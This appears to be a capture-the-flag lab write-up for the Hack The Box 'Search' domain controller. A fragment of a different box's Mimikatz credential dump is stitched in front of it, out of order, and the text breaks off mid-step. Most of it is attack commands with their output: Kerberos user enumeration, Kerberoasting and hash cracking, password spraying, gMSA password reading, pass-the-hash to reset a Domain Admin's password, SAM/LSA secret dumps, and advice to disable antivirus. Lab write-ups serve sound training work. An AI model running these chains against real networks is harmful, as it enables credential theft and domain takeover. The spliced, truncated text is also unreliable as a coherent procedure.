The first step is to install WinDbg from the official Microsoft documentation:

Install WinDbg - Windows drivers | Microsoft Learn

Open WinDbg. Before continuing, we need Mimikatz.

2. Download Mimikatz

Download it from the official repository by Benjamin Delpy (gentilkiwi):

Release 2.2.0 20220919 Djoin parser & Citrix SSO Extractor · gentilkiwi/mimikatz · GitHub

Download, for example, mimikatz_trunk.zip, and extract it.

Add a folder exclusion or disable the AV so you can work without it deleting the files.

3. Open the dump and load the Mimikatz extension

Open the .DMP file with WinDbg. Inside the console, run:

.load C:\Users\iamwin\Documents\x64\mimilib.dll

4. Locate the lsass.exe process

Search for the lsass.exe process:

!process 0 0 lsass.exe

5. Switch context to the lsass.exe process

.process /r /p ffffbc83a93e7080

6. Run Mimikatz

Now we perform the dump:

!mimikatz

1: kd> !mimikatz

DPAPI Backup keys
=================
Current prefered key:       {00000000-0000-0000-0000-000000000000}
Compatibility prefered key: {00000000-0000-0000-0000-000000000000}

DPAPI System
============
full: <REDACTED>
m/u : <REDACTED> / <REDACTED>

SekurLSA
========

Authentication Id : 0 ; 45311 (00000000:0000b0ff)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      :
Logon Time        : 10/4/2023 10:30:10 AM
SID               : S-1-5-90-0-1
	msv :
	 [00000003] Primary
	 * Username : DATACENTER-2019$
	 * Domain   : FREELANCER
	 * NTLM     : <REDACTED>
	 * SHA1     : <REDACTED>
	tspkg : KO
	wdigest :
	 * Username : DATACENTER-2019$
	 * Domain   : FREELANCER
	 * Password : (null)
	kerberos :
	 * Username : DATACENTER-2019$
	 * Domain   : freelancer.htb
	 * Password : <REDACTED>
	 * Key List
	   aes256_hmac       <REDACTED>
	   rc4_hmac_nt       <REDACTED>
	   ...

	ssp :
	masterkey :
	credman :

Authentication Id : 0 ; 429726 (00000000:00068e9e)
Session           : CachedInteractive from 1
User Name         : Administrator
Domain            : FREELANCER
Logon Server      : DC
Logon Time        : 10/4/2023 10:32:52 AM
SID               : S-1-5-21-3542429192-2036945976-3483670807-500
	msv :
	 [00000003] Primary
	 * Username : Administrator
	 * Domain   : FREELANCER
	 * NTLM     : <REDACTED>
	 * SHA1     : <REDACTED>
	 * DPAPI    : <REDACTED>
	tspkg : KO
	wdigest :
	 * Username : Administrator
	 * Domain   : FREELANCER
	 * Password : (null)
	kerberos :
	 * Username : Administrator
	 * Domain   : FREELANCER.HTB
	 * Password : <REDACTED>
	 * Key List
	   aes256_hmac       <REDACTED>
	   aes128_hmac       <REDACTED>
	   rc4_hmac_nt       <REDACTED>
	   ...

	ssp :
	masterkey :
	credman :

[... output truncated — multiple additional entries found for other users and service accounts ...]

Thanks for reading — I hope this is useful. If you have any questions, corrections, or just want to talk shop, my socials are linked on this blog.

Closing quote:

“Our senses allow us to perceive only a small portion of the outside world.”

— Nikola Tesla

We run a full scan combining rustscan for speed and nmap for service fingerprinting:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ rustscan -a 10.129.229.57 --ulimit 1000 -r 1-65535 -- -A -sC -sV -o nmapresult.txt
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time

[~] The config file is expected to be at "/home/iamwin/.rustscan.toml"
[~] Automatically increasing ulimit value to 1000.
Open 10.129.229.57:53
Open 10.129.229.57:80
Open 10.129.229.57:88
Open 10.129.229.57:135
Open 10.129.229.57:139
Open 10.129.229.57:389
Open 10.129.229.57:445
Open 10.129.229.57:443
Open 10.129.229.57:464
Open 10.129.229.57:593
Open 10.129.229.57:636
Open 10.129.229.57:3269
Open 10.129.229.57:3268
Open 10.129.229.57:8172
Open 10.129.229.57:9389
Open 10.129.229.57:49667
Open 10.129.229.57:49693
Open 10.129.229.57:49694
Open 10.129.229.57:49709
Open 10.129.229.57:49725
Open 10.129.229.57:49745

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Search - Just Testing IIS
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-09-22 00:59:50Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: search.htb, Site: Default-First-Site-Name)
443/tcp   open  ssl/https     syn-ack ttl 127 Microsoft-IIS/10.0
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: search.htb, Site: Default-First-Site-Name)
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: search.htb, Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: search.htb, Site: Default-First-Site-Name)
8172/tcp  open  ssl/unknown   syn-ack ttl 127
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49693/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49694/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49709/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49725/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49745/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

Service Info: Host: RESEARCH; OS: Windows; CPE: cpe:/o:microsoft:windows
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

Aggressive OS guesses: Microsoft Windows Server 2019 (97%), Microsoft Windows 10 1903 - 22H2 (91%)
Nmap done: 1 IP address (1 host up) scanned in 146.69 seconds

Ports 53, 88, 389, 445, 636 and 3268/3269 are the unmistakable signature of a Domain Controller. The most valuable detail: SMB signing is required — this rules out NTLM relay against SMB, but the presence of IIS on 80/443 and WMSvc on 8172 opens up web vectors we’ll explore.

Now with NXC we take the chance to pull more info and, while we’re at it, generate the entry for /etc/hosts:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc smb 10.129.229.57 --generate-hosts-file hosts
SMB         10.129.229.57   445    RESEARCH         [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ cat hosts          
10.129.229.57     RESEARCH.search.htb search.htb RESEARCH

I’ll work with variables for convenience:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ export IP=10.129.229.57                                

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ export DOMAIN=search.htb  

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ export FQDN=RESEARCH.search.htb

2. Anonymous SMB Enumeration

Enumerating the SMB port anonymously or with the guest user recovers nothing useful:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc smb 10.129.229.57 -u '' -p ''                
SMB         10.129.229.57   445    RESEARCH         [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.229.57   445    RESEARCH         [+] search.htb\: 

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc smb 10.129.229.57 -u '' -p '' --users
SMB         10.129.229.57   445    RESEARCH         [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.229.57   445    RESEARCH         [+] search.htb\: 

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc smb 10.129.229.57 -u 'guest' -p '' --users
SMB         10.129.229.57   445    RESEARCH         [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.229.57   445    RESEARCH         [-] search.htb\guest: STATUS_ACCOUNT_DISABLED 

We can also use enum4linux-ng to try pulling additional information via LDAP and RPC without credentials:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ enum4linux-ng -A -v $IP 2>&1
ENUM4LINUX - next generation (v1.3.10)

[*] Target ........... 10.129.229.57
[+] LDAP is accessible on 389/tcp
[+] LDAPS is accessible on 636/tcp
[+] SMB is accessible on 445/tcp
[+] Appears to be root/parent DC
[+] Long domain name is: search.htb
[+] Domain SID: S-1-5-21-271492789-1610487937-1871574529
[+] Server allows authentication via username '' and password ''
[-] Could not find users via 'querydispinfo': STATUS_ACCESS_DENIED
[-] Could not find users via 'enumdomusers': STATUS_ACCESS_DENIED
[+] Found 0 share(s) for user '' with password '', try a different user

Completed after 28.68 seconds

We don’t get much more than what we already knew. Moving on to the web port.

3. Web Enumeration — Credentials in an Image

Using Wappalyzer or WhatWeb we can spot some of the technologies the site was built with. Scrolling further down, something interesting turns up:

Those are users. From those names, we can use username-anarchy to build usernames in the format Active Directory typically uses (firstname.lastname) and check whether any are valid in the domain:

┌──(iamwin㉿0xWin)-[~/Documents/HTB/username-anarchy]
└─$ cat users.txt 
Firstname,Lastname
Keely,Lyons
Dax,Santiago
Sierra,Frye
Kyla,Stewart
Kaiara,Spencer
Dave,Simpson
Ben,Thompson
Chris,Stewart
                                                                                                                                                                                             
┌──(iamwin㉿0xWin)-[~/Documents/HTB/username-anarchy]
└─$ ./username-anarchy -i users.txt > test_users.txt

The tool generates variations like keely, keely.lyons, k.lyons, etc. With that list, we use Kerbrute to validate which ones actually exist in the domain via Kerberos, without needing credentials:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ kerbrute userenum --dc $IP -d $DOMAIN test_users.txt   

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 09/21/26 - Ronnie Flathers @ropnop

2026/09/21 21:34:00 >  Using KDC(s):
2026/09/21 21:34:00 >   10.129.229.57:88

2026/09/21 21:34:00 >  [+] VALID USERNAME:       keely.lyons@search.htb
2026/09/21 21:34:00 >  [+] VALID USERNAME:       dax.santiago@search.htb
2026/09/21 21:34:00 >  [+] VALID USERNAME:       sierra.frye@search.htb
2026/09/21 21:34:01 >  Done! Tested 115 usernames (3 valid) in 1.375 seconds

Now we know which usernames are valid in the domain. We try AS-REP Roasting, but it doesn’t work — none of them have Kerberos pre-authentication disabled:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ GetNPUsers.py $DOMAIN/ -no-pass -usersfile valid_users.txt
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[-] User keely.lyons doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dax.santiago doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sierra.frye doesn't have UF_DONT_REQUIRE_PREAUTH set

We keep going through the site and one image catches our attention:

We can build a username in AD format and use the password mentioned in the image:

hope.sharp : IsolationIsKey?

4. Authenticated Access — hope.sharp

We validate the credentials. They work:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc smb $IP -u hope.sharp -p 'IsolationIsKey?'
SMB         10.129.229.57   445    RESEARCH         [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.229.57   445    RESEARCH         [+] search.htb\hope.sharp:IsolationIsKey? 

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc smb $IP -u hope.sharp -p 'IsolationIsKey?' --shares
SMB         10.129.229.57   445    RESEARCH         [+] search.htb\hope.sharp:IsolationIsKey? 
SMB         10.129.229.57   445    RESEARCH         [*] Enumerated shares
SMB         10.129.229.57   445    RESEARCH         Share           Permissions            Remark
SMB         10.129.229.57   445    RESEARCH         -----           -----------            ------
SMB         10.129.229.57   445    RESEARCH         ADMIN$                                 Remote Admin
SMB         10.129.229.57   445    RESEARCH         C$                                     Default share
SMB         10.129.229.57   445    RESEARCH         CertEnroll      READ                   Active Directory Certificate Services share
SMB         10.129.229.57   445    RESEARCH         helpdesk                               
SMB         10.129.229.57   445    RESEARCH         IPC$            READ                   Remote IPC
SMB         10.129.229.57   445    RESEARCH         NETLOGON        READ                   Logon server share 
SMB         10.129.229.57   445    RESEARCH         RedirectedFolders$ READ,WRITE             
SMB         10.129.229.57   445    RESEARCH         SYSVOL          READ                   Logon server share 

The CertEnroll share confirms ADCS is active in the domain. The RedirectedFolders$ share, with READ,WRITE permissions, holds the domain users’ home directories. Going through its contents, we find plenty of user-named directories — all empty, but they give us a useful list.

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ smbclient.py $DOMAIN/hope.sharp:'IsolationIsKey?'@$IP
# use RedirectedFolders$
# ls
drw-rw-rw-          0  Tue Apr  7 14:12:58 2020 abril.suarez
drw-rw-rw-          0  Fri Jul 31 09:11:32 2020 Angie.Duffy
drw-rw-rw-          0  Fri Jul 31 08:35:32 2020 Antony.Russo
drw-rw-rw-          0  Tue Apr  7 14:32:31 2020 belen.compton
drw-rw-rw-          0  Fri Jul 31 08:37:36 2020 Cameron.Melendez
drw-rw-rw-          0  Tue Apr  7 14:15:09 2020 chanel.bell
drw-rw-rw-          0  Fri Jul 31 09:09:07 2020 Claudia.Pugh
drw-rw-rw-          0  Fri Jul 31 08:02:04 2020 Cortez.Hickman
drw-rw-rw-          0  Tue Apr  7 14:20:08 2020 dax.santiago
drw-rw-rw-          0  Fri Jul 31 07:55:34 2020 Eddie.Stevens
drw-rw-rw-          0  Thu Apr  9 16:04:11 2020 edgar.jacobs
drw-rw-rw-          0  Thu Apr  9 10:34:41 2020 hope.sharp
drw-rw-rw-          0  Wed Nov 17 20:01:45 2021 sierra.frye
drw-rw-rw-          0  Thu Apr  9 16:14:26 2020 trace.ryan

Thanks to the authentication, we can use NXC’s RID Brute to pull all domain users:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc smb $IP -u hope.sharp -p 'IsolationIsKey?' --rid-brute | grep SidTypeUser | grep -v '\$' | awk -F'\\\\' '{print $2}' | awk '{print $1}'
Administrator
Guest
krbtgt
Santino.Benjamin
Payton.Harmon
Trace.Ryan
...
Sierra.Frye
web_svc
Tristan.Davies

5. Kerberoasting — web_svc

With valid credentials, we try Kerberoasting against the domain accounts:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ GetUserSPNs.py $DOMAIN/hope.sharp:'IsolationIsKey?'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName               Name     MemberOf  PasswordLastSet             LastLogon  Delegation 
---------------------------------  -------  --------  --------------------------  ---------  ----------
RESEARCH/web_svc.search.htb:60001  web_svc            2020-04-09 08:59:11.329031  <never> 

We find web_svc with the SPN RESEARCH/web_svc.search.htb:60001. More than a regular user, this has all the hallmarks of a service account — that’s exactly why it has an SPN. The fact that it has never logged in reinforces the idea that it’s a technical account with a weak password and no regular rotation.

We grab the TGS-REP to crack it offline:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ GetUserSPNs.py $DOMAIN/hope.sharp:'IsolationIsKey?' -request
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName               Name     MemberOf  PasswordLastSet             LastLogon
---------------------------------  -------  --------  --------------------------  ---------
RESEARCH/web_svc.search.htb:60001  web_svc            2020-04-09 08:59:11.329031  <never>               

$krb5tgs$23$*web_svc$SEARCH.HTB$search.htb/web_svc*$3cc4569a1b2113e0359cbf2030fc063f$250b5634e8d153d22c...c462e6

We crack it offline with hashcat in mode 13100 (Kerberos 5 TGS-REP etype 23):

iamwin@Jean:~$ hashcat -a 0 -m 13100 web_svc.kerberoast /usr/share/kali-wordlists/rockyou.txt

$krb5tgs$23$*web_svc$SEARCH.HTB$search.htb/web_svc*...:@3ONEmillionbaby

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Time.Started.....: Mon Sep 21 21:04:27 2026 (4 secs)
Speed.#01........:  2894.1 kH/s (1.51ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests

Credentials obtained:

web_svc : @3ONEmillionbaby

We validate:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc smb $IP -u web_svc -p '@3ONEmillionbaby'
SMB         10.129.229.57   445    RESEARCH         [+] search.htb\web_svc:@3ONEmillionbaby 

6. Password Spraying — edgar.jacobs

With two valid passwords and quite a few users, one of them could well be reused elsewhere. We run a password spray:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc smb $IP -u users_all.txt -p '@3ONEmillionbaby' --continue-on-success

SMB         10.129.229.57   445    RESEARCH         [+] search.htb\Edgar.Jacobs:@3ONEmillionbaby 
SMB         10.129.229.57   445    RESEARCH         [+] search.htb\web_svc:@3ONEmillionbaby 

IsolationIsKey? doesn’t turn up anything. Using edgar.jacobs — always worth checking the shares with every new user, since they almost always have access to something the previous one didn’t:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc smb $IP -u edgar.jacobs -p '@3ONEmillionbaby' --shares
SMB         10.129.229.57   445    RESEARCH         [+] search.htb\edgar.jacobs:@3ONEmillionbaby 
SMB         10.129.229.57   445    RESEARCH         Share           Permissions            Remark
SMB         10.129.229.57   445    RESEARCH         CertEnroll      READ                   Active Directory Certificate Services share
SMB         10.129.229.57   445    RESEARCH         helpdesk        READ                   
SMB         10.129.229.57   445    RESEARCH         IPC$            READ                   Remote IPC
SMB         10.129.229.57   445    RESEARCH         NETLOGON        READ                   Logon server share 
SMB         10.129.229.57   445    RESEARCH         RedirectedFolders$ READ,WRITE             
SMB         10.129.229.57   445    RESEARCH         SYSVOL          READ                   Logon server share 

Going through their personal directory, we find some interesting files on the Desktop:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ smbclient.py $DOMAIN/edgar.jacobs:'@3ONEmillionbaby'@$IP
# use RedirectedFolders$
# cd edgar.jacobs
# cd Desktop
# ls
drw-rw-rw-          0  Thu Apr  9 16:05:29 2020 $RECYCLE.BIN
-rw-rw-rw-        282  Mon Aug 10 06:02:16 2020 desktop.ini
-rw-rw-rw-       1450  Thu Apr  9 16:05:03 2020 Microsoft Edge.lnk
-rw-rw-rw-      23130  Mon Aug 10 06:30:05 2020 Phishing_Attempt.xlsx

We download it and analyze it on our attack host.

7. Excel with a Hidden Column — sierra.frye

Opening the file, something looks off: column C isn’t showing. In cases like this, what we can do is copy the content and paste it into a new Excel sheet:

We can see the content of column C, named “Password.” Since these passwords are tied directly to a user, we can use NXC’s --no-bruteforce flag to test each user:password pair in order, without combinatorial brute-forcing.

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc smb $IP -u users_excel.txt -p passwords_excel.txt --no-bruteforce  
SMB         10.129.229.57   445    RESEARCH         [-] search.htb\Payton.Harmon:;;36!cried!INDIA!year!50;; STATUS_LOGON_FAILURE 
SMB         10.129.229.57   445    RESEARCH         [-] search.htb\Cortez.Hickman:..10-time-TALK-proud-66.. STATUS_LOGON_FAILURE 
SMB         10.129.229.57   445    RESEARCH         [-] search.htb\Bobby.Wolf:??47^before^WORLD^surprise^91?? STATUS_LOGON_FAILURE 
SMB         10.129.229.57   445    RESEARCH         [-] search.htb\Margaret.Robinson://51+mountain+DEAR+noise+83// STATUS_LOGON_FAILURE 
SMB         10.129.229.57   445    RESEARCH         [-] search.htb\Scarlett.Parks:++47|building|WARSAW|gave|60++ STATUS_LOGON_FAILURE 
SMB         10.129.229.57   445    RESEARCH         [-] search.htb\Eliezer.Jordan:!!05_goes_SEVEN_offer_83!! STATUS_LOGON_FAILURE 
SMB         10.129.229.57   445    RESEARCH         [-] search.htb\Hunter.Kirby:~~27%when%VILLAGE%full%00~~ STATUS_LOGON_FAILURE 
SMB         10.129.229.57   445    RESEARCH         [+] search.htb\Sierra.Frye:$$49=wide=STRAIGHT=jordan=28$$18 

Valid credentials:

Sierra.Frye : $$49=wide=STRAIGHT=jordan=28$$18

8. BloodHound — Path to Domain Admin

Going through the shares with the new user, we use spider_plus to map every reachable file:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc smb $IP -u Sierra.Frye -p '$$49=wide=STRAIGHT=jordan=28$$18' -M spider_plus
SMB         10.129.229.57   445    RESEARCH         [+] search.htb\Sierra.Frye:$$49=wide=STRAIGHT=jordan=28$$18 
SPIDER_PLUS 10.129.229.57   445    RESEARCH         [*] Total folders found:  148
SPIDER_PLUS 10.129.229.57   445    RESEARCH         [*] Total files found:    34

Checking the JSON generated at ~/.nxc/modules/nxc_spider_plus/10.129.229.57.json, the part we care about is the content of RedirectedFolders$:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ cat /home/iamwin/.nxc/modules/nxc_spider_plus/10.129.229.57.json | jq '.["RedirectedFolders$"]'
{
  "sierra.frye/Desktop/user.txt": {
    "size": "33 B"
  },
  "sierra.frye/Downloads/Backups/search-RESEARCH-CA.p12": {
    "size": "2.58 KB"
  },
  "sierra.frye/Downloads/Backups/staff.pfx": {
    "size": "4.22 KB"
  },
  "sierra.frye/user.txt": {
    "size": "33 B"
  }
}

The JSON confirms the user flag at sierra.frye/Desktop/user.txt, plus two files under sierra.frye/Downloads/Backups/: search-RESEARCH-CA.p12 and staff.pfx. We’ll use the latter further down in the alternative certificate-based method.

I’ll extract information for BloodHound using the RustHound-CE collector:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ rusthound-ce -d $DOMAIN -u 'sierra.frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' -f $FQDN -i $IP -c All -z
---------------------------------------------------
Initializing RustHound-CE at 22:37:33 on 09/21/26
---------------------------------------------------

[INFO] Connected to SEARCH.HTB Active Directory!
[WARN] ESC8 detected on Research.search.htb, Web Enrollment exposed over HTTP without EPA
[INFO] 107 users parsed!
[INFO] 72 groups parsed!
[INFO] 13 enabled certificate templates found
[INFO] .//20260921223740_search-htb_rusthound-ce.zip created!

RustHound-CE Enumeration Completed at 22:37:40 on 09/21/26! Happy Graphing!

We import the ZIP into BloodHound and analyze the graph starting from sierra.frye:

With Sierra.Frye, we can check whether she inherits permissions from the groups she belongs to.

The attack chain identified by BloodHound:

1. sierra.frye is a member of BIRMINGHAM-ITSEC
2. BIRMINGHAM-ITSEC is a member of ITSEC, which has ReadGMSAPassword over BIR-ADFS-GMSA$
3. BIR-ADFS-GMSA$ has GenericAll over tristan.davies
4. tristan.davies is a member of Domain Admins

9. GMSA ReadPassword — Hash for BIR-ADFS-GMSA$

We check, and indeed we get the NTLM hash for BIR-ADFS-GMSA$:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc ldap $IP -u Sierra.Frye -p '$$49=wide=STRAIGHT=jordan=28$$18' --gmsa
LDAP        10.129.229.57   389    RESEARCH         [+] search.htb\Sierra.Frye:$$49=wide=STRAIGHT=jordan=28$$18 
LDAP        10.129.229.57   389    RESEARCH         [*] Getting GMSA Passwords
LDAP        10.129.229.57   389    RESEARCH         Account: BIR-ADFS-GMSA$       NTLM: e1e9fd9e46d0d747e1595167eedcec0f     PrincipalsAllowedToReadPassword: ITSec
LDAP        10.129.229.57   389    RESEARCH         Account: BIR-ADFS-GMSA$       aes128-cts-hmac-sha1-96: dc4a4346f54c0df29313ff8a21151a42
LDAP        10.129.229.57   389    RESEARCH         Account: BIR-ADFS-GMSA$       aes256-cts-hmac-sha1-96: 06e03fa99d7a99ee1e58d795dccc7065a08fe7629441e57ce463be2bc51acf38

NTLM hash for BIR-ADFS-GMSA$ obtained:

BIR-ADFS-GMSA$ : e1e9fd9e46d0d747e1595167eedcec0f

Continuing down the path, BloodHound confirms that the service account BIR-ADFS-GMSA$ has GenericAll over Tristan.Davies:

Checking which users belong to Remote Management Users, in order to open a WinRM session, we see that Sierra.Frye might qualify given the groups she’s in:

We first check whether the WinRM service actually responds:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc winrm $IP -u Sierra.Frye -p '$$49=wide=STRAIGHT=jordan=28$$18'

It returns no confirmation of access. We try opening a direct session with evil-winrm anyway, and confirm the service is filtered or disabled:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ evil-winrm -i RESEARCH.search.htb -u Sierra.Frye -p '$$49=wide=STRAIGHT=jordan=28$$18'
Error: Cannot establish connection to remote endpoint.
Error: HTTPClient::ConnectTimeoutError: execution expired

WinRM is disabled or filtered. Given the GenericAll we have over Tristan.Davies through the GMSA, and given that WinRM isn’t giving us a shell, another approach is to take advantage of the fact that rpcclient supports pass-the-hash — we can authenticate as BIR-ADFS-GMSA$ with its hash and change the password directly over RPC.

10. GenericAll over Tristan.Davies — Domain Admin

Method 1: Pass-the-Hash with pth-net

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ pth-net rpc password "TRISTAN.DAVIES" 'Iamwin123!' -U "search.htb"/'BIR-ADFS-GMSA$'%"e1e9fd9e46d0d747e1595167eedcec0f":"e1e9fd9e46d0d747e1595167eedcec0f" -S "RESEARCH.search.htb"
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
                                                                                                                                                                                             
┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc smb $IP -u TRISTAN.DAVIES -p 'Iamwin123!'                          
SMB         10.129.229.57   445    RESEARCH         [+] search.htb\TRISTAN.DAVIES:Iamwin123! (Pwn3d!)

Domain Controller compromised. We dump the SAM and LSA secrets:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc smb $IP -u TRISTAN.DAVIES -p 'Iamwin123!' --sam
SMB         10.129.229.57   445    RESEARCH         [+] search.htb\TRISTAN.DAVIES:Iamwin123! (Pwn3d!)
SMB         10.129.229.57   445    RESEARCH         [*] Dumping SAM hashes
SMB         10.129.229.57   445    RESEARCH         Administrator:500:aad3b435b51404eeaad3b435b51404ee:9c7bf72260e8eef29e9cfeb60f94fc56:::
SMB         10.129.229.57   445    RESEARCH         Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         10.129.229.57   445    RESEARCH         DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ nxc smb $IP -u TRISTAN.DAVIES -p 'Iamwin123!' --lsa
SMB         10.129.229.57   445    RESEARCH         [+] search.htb\TRISTAN.DAVIES:Iamwin123! (Pwn3d!)
SMB         10.129.229.57   445    RESEARCH         [*] Dumping LSA secrets
SMB         10.129.229.57   445    RESEARCH         SEARCH\RESEARCH$:aes256-cts-hmac-sha1-96:29d9b2d4f91dc5102bd53e1574fa88eac1c40cdc107f9d7ec671a7f15d2ad9d9
SMB         10.129.229.57   445    RESEARCH         SEARCH\RESEARCH$:aes128-cts-hmac-sha1-96:89559380f987b6b98c5cdbd53134fce0
SMB         10.129.229.57   445    RESEARCH         SEARCH\RESEARCH$:des-cbc-md5:9d85d06297d080dc
SMB         10.129.229.57   445    RESEARCH         dpapi_machinekey:1d5ae75a9dc16c4c0086718b1b71a1c7a46a77f1
SMB         10.129.229.57   445    RESEARCH         dpapi_userkey:9306fa0881afe36b246e61acbeba87de42178e01
SMB         10.129.229.57   445    RESEARCH         [+] Dumped 6 LSA secrets

Method 2 (Alternative): PFX Certificate + PowerShell DSInternals

Inside the RedirectedFolders$ share, in Sierra.Frye’s personal folder, specifically under Downloads/Backups, we find a .pfx file:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ smbclient.py $DOMAIN/Sierra.Frye:'$$49=wide=STRAIGHT=jordan=28$$18'@$IP
# use RedirectedFolders$
# cd sierra.frye/Downloads/Backups
# ls
-rw-rw-rw-       2643  Fri Jul 31 11:04:11 2020 search-RESEARCH-CA.p12
-rw-rw-rw-       4326  Mon Aug 10 16:39:17 2020 staff.pfx
# get staff.pfx

Before trying to read it, we confirm the file type:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ file staff.pfx
staff.pfx: data

If we try to read the certificate, it asks for a password:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ openssl pkcs12 -in staff.pfx -nokeys -out certificate.pem
Enter Import Password:
Mac verify error: invalid password?

John the Ripper can extract the hash from a .pfx file, so we use it to pull the hash and then crack it:

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ pfx2john staff.pfx > certificate_hash

┌──(iamwin㉿0xWin)-[~/Documents/HTB]
└─$ john certificate_hash --wordlist=/usr/share/wordlists/rockyou.txt 
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
misspissy        (staff.pfx)     
1g 0:00:01:32 DONE (2026-09-22 01:50)
